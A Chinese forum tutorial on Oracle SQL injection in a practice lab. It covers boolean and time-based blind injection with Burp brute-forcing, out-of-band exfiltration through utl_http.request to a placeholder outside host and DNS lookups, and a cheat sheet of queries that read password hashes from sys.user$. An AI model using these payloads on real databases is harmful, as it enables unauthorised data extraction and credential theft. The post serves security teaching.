论坛首页 > 技术文章投稿区 > 技术文章

Oracle注入拓展[盲注、带外注入]

mq · 发表于 2020-02-21 17:35:31 · 技术文章

## Oracle注入之拓展学习
**题记：先之计划，后之行动，盲目只会茫然**
```
注：
Oracle注入的报错注入和显错注入我已经在我的作业很详细的描述了，对报错注入也做了拓展，有兴趣的可以看我作业，仅作参考
https://bbs.zkaq.cn/homework/9558.html
```

------------

##一、 Oracle注入-盲注
#### **A、布尔型盲注**

#### 以靶场的页面为例：
#### 一、传统思维：
```
a、使用length函数判断长度
b、配合ascii和substr函数然后burp进行爆破

复习一下三种函数用法：
length：得到查询字段的的长度值
ascii：把得到的字符转为ascii码
substr:字符截取函数
 格式1： substr(string string, int a, int b)
 1、string 需要截取的字符串
 2、a 截取字符串的开始位置（注：当a等于0或1时，都是从第一位开始截取）
 3、b 要截取的字符串的长度
```
**直接上靶场**
![](https://bbs.zkaq.cn/upload/md/c35de5cffb99cf25e4ae26e14cfbd3ce_69808.png)
**(得到用户名字段长度为8)**

![](https://bbs.zkaq.cn/upload/md/72da29a2e94855a667e0bf450a3f0f9a_26781.png)
**（挨个判断数据）**

![](https://bbs.zkaq.cn/upload/md/e82b7da4f15279fa652105472c21397b_31712.png)
**（使用burp进行爆破，得到user为battle01）**

#### **二、扩展方式**
**1、使用Decode函数**
```
我们先了解下decode函数的用法：
decode函数又两种方式解释
A、第一种形式
含义解释：
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)
该函数的含义如下
IF 条件=值1 THEN
　　　　RETURN(翻译值1)
ELSIF 条件=值2 THEN
　　　　RETURN(翻译值2)
　　　　......
ELSIF 条件=值n THEN
　　　　RETURN(翻译值n)
ELSE
　　　　RETURN(缺省值)
END IF
B、第二种形式
decode(字段或字段的运算，值1，值2，值3）

这个函数运行的结果是，当字段或字段的运算的值等于值1时，该函数返回值2，否则返回值3
当然值1，值2，值3也可以是表达式，这个函数使得某些sql语句简单了许多

```
**了解了上述用法后，我们这里主要采用第二种形式:**
**直接上靶场：**
```
payload：
1=(select decode(ascii((substr(user,1,1))),66,1,0) from dual)-- qwe
注：这里的66就是字符'b'的ascii码
```

![](https://bbs.zkaq.cn/upload/md/5e004efad991506ac9f99537ae4c7a02_54987.png)

**然后我们再次使用burp爆破就可以慢慢跑出来**

![](https://bbs.zkaq.cn/upload/md/57382c36f1ffb302183caf5ae2d0749c_54513.png)

**2、使用instr函数**
```
同样在使用之前我们先了解下instr函数的语法:
instr()函数的格式 （俗称：字符查找函数）
格式一：instr( string1, string2 ) // instr(源字符串, 目标字符串)

格式二：instr( string1, string2 [, start_position [, nth_appearance ] ] ) // instr(源字符串, 目标字符串, 起始位置, 匹配序号)

解析：string2 的值要在string1中查找，是从start_position给出的数值（即：位置）开始在string1检索，检索第nth_appearance（几）次出现string2。

实例：
格式一
1 select instr('helloworld','l') from dual; --返回结果：3 默认第一次出现“l”的位置
格式二
1 select instr('helloworld','l',2,2) from dual; --返回结果：4 也就是说：在"helloworld"的第2(e)号位置开始，查找第二次出现的“l”的位置
```
**了解上述用法后，我们开始实战，这里我们主要用到格式一
直接上靶场**
```
payload:1 ' and 1=(instr((ascii(substr((select user from dual),1,1))),66))-- qwe
```

![](https://bbs.zkaq.cn/upload/md/cc09308fa4121ceb76317d6ad6aaf64c_38445.png)

**同样使用burp进行爆破**

![](https://bbs.zkaq.cn/upload/md/3514424ee1bfc1d03984bc7eb1345921_66408.png)

```
注：这个虽然也是一种方法，但是大家也发现了，括号太多了，不用编辑器看的我眼睛都瞎了
```
#### B、时间盲注
**同样我们也用靶场做实验**
**这里时间盲注我们介绍三种:**
**A、decode时间盲注**
：
```
使用decode函数同样可以完成盲注，我们直接看实例：
payload:1' and (select decode((substr(user,1,1)),'B',(select count(*) from all_tables),0) from dual) -- qwe
```

![](https://bbs.zkaq.cn/upload/md/9fbdea1289e469f881a0a2f55a4dc84f_76065.png)

**同样我们可以爆破出值，但是这里我就不演示了，时间盲注唯一缺点就是太慢了...**

**B、使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注**
```
DBMS_PIPE.RECEIVE_MESSAGE的理解：

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法：

DBMS_PIPE.RECEIVE_MESSAGE (

pipename IN VARCHAR2,

timeout IN INTEGER DEFAULT maxwait)

RETURN INTEGER;

可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

使用形式:
http://www.test.com/oracle.jsp?id=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) -- qwe
实际用法:
AND 1=(CASE WHEN (ASCII(SUBSTR((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 1 END)

```
**可能大家不理解为什么实际用法变成了这个样子，我们差分开慢慢解析：
我们先解释其中的一些函数和语句**
```
1、case when then语句：
--简单Case函数

CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END

--Case搜索函数

CASE
WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END

2、ascii函数就不用多说了：转字符为ascii码，切记这里只能转一个字符，不能一个字符串一起转

3、chr函数正好作用和ascii相对，CHR()将ASCII码转换为字符，也只能转一个

4、cast函数：
CAST()函数可以进行数据类型的转换。
CAST()函数的参数有两部分，源值和目标数据类型，中间用AS关键字分隔。
语法：cast( 列名/值 as 数据类型 )

5、nvl函数：
NVL函数的格式如下：NVL(expr1,expr2)
含义是：如果oracle第一个参数为空那么显示第二个参数的值，如果第一个参数的值不为空，则显示第一个参数本来的值。
6、||表示连接符，可以连接字符
```
**通过上面了解，我们可以拆分来看上面的语句：**

![](https://bbs.zkaq.cn/upload/md/867bf6dc50ec5b535eef02ddf0821f9a_49531.png)

**大家应该就能很好的理解了，上面就是通过组合一大堆函数实现了一个case when then else的语句，核心还在于then后面的语句**

**靶场实战看看效果**

![](https://bbs.zkaq.cn/upload/md/0651941cbf631e7cc01f4a4fc893d7d6_43434.png)

**这里莫名其妙报错了，这里我们把错误先放下，先看后边的语句，后边我有解释报错**

**C、使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注**

```
payload:http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) -- qwe
```

![](https://bbs.zkaq.cn/upload/md/9f34b14f99b0e2626ceb329c7b66d021_16129.png)

**（这个不知道为什么也报同样的错了，提示是列名不存在，我反复检查了没有输错...查了好多资料没查到，等我问完后再评论区给大家放出来，毕竟这篇文章花了好多时间写，据我推测应该是权限问题，有知道的小伙伴评论区解答下鸭）**

**这第三种就是前两种方式的结合（交响曲），不做过多叙述**

## 二、Oracle带外注入
**这里我们介绍两种思路方法**

------------
**方法A：发送web请求**
```
使用Oracle发送HTTP请求，相关函数：utl_http.request()，需要自己搭建外网web服务器，并记录请求的日志信息，然后使用utl_http.request()向外网主机发送http请求，请求便携带了查询的结果信息。
```
**payload:**
```
http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1' and 1=utl_http.request('http://XXXXXXXXXXX/'||(select banner from sys.v_$version where rownum=1)) -- qwe

```

**注：由于这里我没有准备外网的web服务器，所以有条件的同学可以试一下**
**方法B：dnslog**
```
使用Oracle发送DNS请求，相关函数：utl_inaddr.get_host_address()、utl_inaddr.get_host_name()，将查询结果拼接到域名下，并使用DNS记录解析日志
```
**我们直接看靶场，发现报错了，提示网络访问受限，如下图：**
![](https://bbs.zkaq.cn/upload/md/e7e0f30cbbd7a0b43e1c0997a1c51651_31614.png)

```
限制：经过查询后发现上述两种方法都需要网络访问权限，11g之后需要网络访问权限
```

## 三、总结反思
```
通过总结了这些Oracle注入的一些方法后，大家也能发现，其实数据库虽然注入方法纷繁复杂各式各样，但是本质多是不变的，时间盲注就要想办法拖时间，布尔就是要看页面的变化，显错就是看页面的错误点，报错就是使用函数疯狂试探，不管是mysql access oracle，只要你摸清了一些规律并且掌握它就能通神。
```
**还记得当时我看书中的一句话：**
**如果你想要更好的掌控世界，就要更好的摸清它的规律、规则，这样才能凌驾它之上**
## 四、参考文献
https://blog.csdn.net/qq_35569814/article/details/100517122
https://www.freebuf.com/column/174974.html
https://segmentfault.com/a/1190000013859761
https://www.jianshu.com/p/abf16e370d4a
https://www.cnblogs.com/dshore123/p/7813230.html
https://blog.csdn.net/weiwenhp/article/details/9333405

##五、扩展
```
Oracle中SQL注入常用函数及注入语句：

解析IP
select utl_inaddr.get_host_address('google.com') from dual;

获取本机IP地址
select utl_inaddr.get_host_address from dual;

根据IP地址反向解析主机名
select utl_inaddr.get_host_name('*.*.*.*') from dual;

-- 获取系统信息
select banner from v$version where rownum=1 ; -- oracle versi
--获取用户信息
select user from dual; -- current user
select username from user_users; -- current user
select username from all_users; -- all user , the current user can see...
select username from dba_users; -- all user , need pris

-- 获取密码hash
select name, password, astatus from sys.user$; -- password hash <=10g , need privs
select name, password, spare4 from sys.user$; -- password has 11g , need privs

-- 数据库
select global_name from global_name; -- current database
select sys.database_name from dual; -- current database
select name from v$database; -- current database name , need privs
select instance_name from v$instance; -- current database name , need privs

-- 模式
select distinct owner from all_tables; -- all schema

-- 表
select table_name from all_tables where owner='xxx'; -- all table name

-- 列
select owner,table_name,column_name from all_tab_columns where table_name='xxx';
select owner,table_name,column_name from all_tab_cols where table_name='xxx';
```

用户名	金币	积分	时间	理由
alberthao	2.00	0	2020-03-25 04:04:01	一个受益终生的帖子~~
admin	150.00	0	2020-02-23 09:09:37	一个受益终生的帖子~~

打赏我,让我更有动力~

3 条回复 | 直到 2021-10-5 | 1727 次浏览

admin
发表于 2020-2-23

评论列表

加载数据中...

编写评论内容

alberthao
发表于 2020-3-25

很赞！

评论列表

加载数据中...

编写评论内容

astronaut
发表于 2021-10-5

真不错

评论列表

加载数据中...

编写评论内容

登录后才可发表内容

Oracle注入拓展[盲注、带外注入]

评论列表 默认排序 默认排序 最新回复

评论列表 默认排序 默认排序 最新回复

评论列表 默认排序 默认排序 最新回复

评论列表

评论列表

评论列表